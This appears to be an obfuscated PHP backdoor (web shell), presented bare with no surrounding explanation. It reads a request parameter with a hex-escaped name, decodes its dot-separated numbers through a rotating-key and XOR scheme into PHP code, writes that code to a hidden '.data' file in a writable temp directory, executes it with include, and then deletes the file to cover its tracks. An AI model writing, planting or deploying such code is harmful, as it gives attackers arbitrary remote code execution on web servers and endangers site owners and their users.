<!--mtHFum5N-->
<?php

if(isset($_REQUEST) && isset($_REQUEST["v\x61\x6C"])){
$symbol = $_REQUEST["v\x61\x6C"];
$symbol=explode(		 '.' 		,	$symbol	)  	;
$comp		= '';
$s		= 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen		= strlen($s);

foreach ($symbol as $i => $val) {
    $chS		= ord($s[$i % $sLen]);
    $dec		= ((int)$val - $chS - ($i % 10)) ^ 1;
    $comp .= chr($dec);
}
$flag = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]);
for ($pointer = 0, $ptr = count($flag); $pointer < $ptr; $pointer++) {
    $elem = $flag[$pointer];
            if (max(0, is_dir($elem) * is_writable($elem))) {
            $obj = vsprintf("%s/%s", [$elem, ".data"]);
            if ($k = fopen($obj, 'w')) {
    if (fwrite($k, $comp) !== false) {
        fclose($k);
        include $obj;
        @unlink($obj);
        exit;
    }
}
        }
}
}